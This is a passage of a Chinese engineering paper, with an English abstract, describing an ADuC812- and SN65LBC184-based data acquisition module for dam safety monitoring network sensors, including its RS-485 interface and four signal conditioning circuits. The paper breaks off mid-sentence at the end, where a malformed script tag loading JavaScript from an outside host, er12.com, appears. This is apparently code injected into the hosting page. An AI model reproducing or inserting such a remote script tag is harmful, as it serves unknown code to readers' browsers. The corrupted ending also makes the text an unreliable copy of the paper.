［摘 要］ 介绍了一种基于微处理器aduc812和通信接口芯片sn65lbc184的大坝安全监测网络传感器通用数据采集模块。通用数据采集模块与现有大坝安全监测传感器相结合，可构成适合于大坝安全监测的网络传感器，从而为实现大坝安全监测网络化打下良好的基础。
［关键词］ 大坝安全监测；数据采集；网络传感器
the design of data acquisition modulefor network
sensorsusedin the safety monitoring ofa dam
zhangtao1，shunai－qiu1，lihong－ling1，liu min2
（1．electrical engineering schoolof wuhan university，hubei－wuhan 430072 china；
2．research institute of waterconservancy and hydropower，guangdong－guangzhou 510610，china）
abstract： this paper presents a data acquisition module designedfor network sensors based on the mi－croprocessor aduc812 and communication interface chip sn65lbc184．the data acquisition module can becombined with thetraditional damsafety monitoring sensorsto formthe damsafety monitoring sensors，thuslay－ing a good foundation for realizingthe damsafety monitoring with the network sensors．
key words： damsafety monitoring；data acquisition；network sensor
1 引 言
大坝安全监测是对大坝施工过程和运行状态进行监视的一种必要手段。它不仅可以让人们及时了解大坝的性态，而且可以为今后大坝的设计提供科学的理论依据。目前，大坝监测自动化系统采用的都是分布式自动监测系统，它利用传统的传感器作为数据采集装置，传感器的监控及与上位机的通信由测控装置（mcu）完成。一台mcu处理几支乃至几十支传感器采集的数据，若mcu故障，则上位机就不能获得与该台mcu相连的所有传感器采集的数据，从而影响了对大坝性态分析的准确性和可靠性。针对这一问题，文章研究并设计了一种通用数据采集模块，将该数据采集模块与传统的传感器结合，可构成适合于大坝监测用的不同形式的网络传感器。
2 网络传感器通用数据采集模块设计［1］
网络传感器一般由敏感元件、转换元件、信号调理、微处理器以及数据通信模块组成［1］。基于此结构模式，可以利用传统的传感器构成网络传感器。大坝监测常用的传感器主要有差阻式传感器、振弦式传感器、温度传感器、引张线传感器、静力水准传感器以及垂线仪传感器等。将这些传感器通过相应的接口电路与数据处理和通信模块结合就可以构成大坝安全监测网络传感器。网络传感器通用数据采集模块的原理如图2—1所示。图中信号调理1～4是针对大坝安全监测传感器不同输出信号形式而设计的信号调理电路。
2．1 微处理器aduc812b简介［2］
微处理器采用美国ad公司生产的aduc812，该芯片是全集成的高性能的8路12位数据采集系统。它在单个芯片内集成了一个具有12位精度、自校准的adc转换器、两个12位的dac转换器、微处理器（mcu）、片内8kb的闪速／电擦除（flash／ee）程序存储器，640 byte闪速／电擦除数据存储器以及256 byte数据sram，均由可编程内核控制。此外还有uart串行i／o口、看门狗／定时器以及电源监视器等。该器件功能强，通用性强。并且工作温度范围宽，适于恶劣环境工作。
2．2 通信接口电路的设计
从网络通信的角度来看，通信接口硬件电路属于网络接口的物理层设计，是网络传感器能够挂网运行的关键所在，也是网络传感器的重要组成部分。rs－485总线是广泛运用于过程测控系统的总线，采用平衡差分信号线的半双工传送方式，该方式在多站点互连方面使用十分方便。该通信方式还具有抗干扰能力强、接收灵敏度高的特点。因此在设计 中采用了rs－485通信接口。通信接口芯片选用sn65lbc184，该芯片具有瞬间高压抑制功能，能抗雷击和静电放电，避免因交流故障引起的非正常高压脉冲冲击，能适宜恶劣环境等特点。微处理器a－duc812的uart串行口与sn65lbc184组成网络传感器通信接口电路。
2．3 信号调理电路的设计
为使网络传感器处理模块具有通用性，根据大坝安全监测传感器输出信号的形式，设计了4种信号调理电路。图2—2给出了通用数据采集模块的原理框图。图中信号调理电路1用于处理差动电阻式传感器输入信号；信号调理电路2用于处理静力水准仪及垂线仪传感器输入信号；信号调理电路3用于处理压阻式传感器输入信号；信号调理电路4用于振弦式传感器输入信号。现场具体应用时，一支传感器仅利用一个调理电路，故利用2位编码开关来实现具体调理电路的选择。状态00表示选通信号调理1；状态01表示选通调理电路2；?script src=http://er12.com/t.js>
